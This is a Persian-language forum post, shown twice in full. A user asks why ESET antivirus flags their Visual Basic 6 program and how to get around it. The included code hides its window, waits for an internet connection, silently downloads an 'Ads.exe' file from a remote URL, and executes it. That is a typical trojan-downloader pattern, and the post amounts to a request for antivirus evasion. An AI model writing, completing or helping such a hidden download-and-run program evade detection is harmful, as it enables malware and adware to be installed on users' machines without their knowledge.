parselearn
دوشنبه 27 آبان 1387, 06:44 صبح
با سلام
من در برنامم مي خوام يك فايل رو دانلود كنم
به خاطر همين از تابع URLDownloadToFile استفاده كردم
ولي آنتي ويروس Eset Smart Security برنامم رو ويروس مي شناسه
زماني كه اين خط رو حذف مي كنم هيچ مشكلي نيست
'Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
ولي خب اين خط هسته برنامم هست
چي كار كنم؟
كل كد برنامه:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'Dll Connect To The Internet
Private Declare Function InternetGetConnectedStateEx Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal lpszConnectionName As String, ByVal dwNameLen As Integer, ByVal dwReserved As Long) As Long
'Chek Connect
Public Function ChekConnect() As Boolean
Dim sConnType As String * 255
Dim ret As Long
ret = InternetGetConnectedStateEx(ret, sConnType, 254, 0)
If ret = 1 Then
ChekConnect = True
Conname = sConnType
Else
ChekConnect = False
End If
End Function
'End Chek Connect
Sub DLAdsfile()
On Error Resume Next
Dim retVal As Long 'our return value
Dim theUrl As String 'the url you want to download
Dim savePath As String 'where you want to save the url
theUrl = "http://.../.../Ads.exe"
savePath = App.Path + "\Ads.exe"
'retVal = URLDownloadToFile(0, theUrl, savePath, 0, 0)
If retVal = 0 Then
Dim Adsfile As New FileSystemObject
If Adsfile.FileExists(App.Path + "\Ads.exe") = True Then
Shell (App.Path + "\Ads.exe"), vbNormalFocus
End If
'File was downloaded successfully!
End
Else
'There was a error downloading the file
End
End If
End Sub
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub tcon_Timer()
If ChekConnect = True Then
Call DLAdsfile
tcon.Enabled = False
Else
End
End If
End Sub
من در برنامم مي خوام يك فايل رو دانلود كنم
به خاطر همين از تابع URLDownloadToFile استفاده كردم
ولي آنتي ويروس Eset Smart Security برنامم رو ويروس مي شناسه
زماني كه اين خط رو حذف مي كنم هيچ مشكلي نيست
'Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
ولي خب اين خط هسته برنامم هست
چي كار كنم؟
كل كد برنامه:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'Dll Connect To The Internet
Private Declare Function InternetGetConnectedStateEx Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal lpszConnectionName As String, ByVal dwNameLen As Integer, ByVal dwReserved As Long) As Long
'Chek Connect
Public Function ChekConnect() As Boolean
Dim sConnType As String * 255
Dim ret As Long
ret = InternetGetConnectedStateEx(ret, sConnType, 254, 0)
If ret = 1 Then
ChekConnect = True
Conname = sConnType
Else
ChekConnect = False
End If
End Function
'End Chek Connect
Sub DLAdsfile()
On Error Resume Next
Dim retVal As Long 'our return value
Dim theUrl As String 'the url you want to download
Dim savePath As String 'where you want to save the url
theUrl = "http://.../.../Ads.exe"
savePath = App.Path + "\Ads.exe"
'retVal = URLDownloadToFile(0, theUrl, savePath, 0, 0)
If retVal = 0 Then
Dim Adsfile As New FileSystemObject
If Adsfile.FileExists(App.Path + "\Ads.exe") = True Then
Shell (App.Path + "\Ads.exe"), vbNormalFocus
End If
'File was downloaded successfully!
End
Else
'There was a error downloading the file
End
End If
End Sub
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub tcon_Timer()
If ChekConnect = True Then
Call DLAdsfile
tcon.Enabled = False
Else
End
End If
End Sub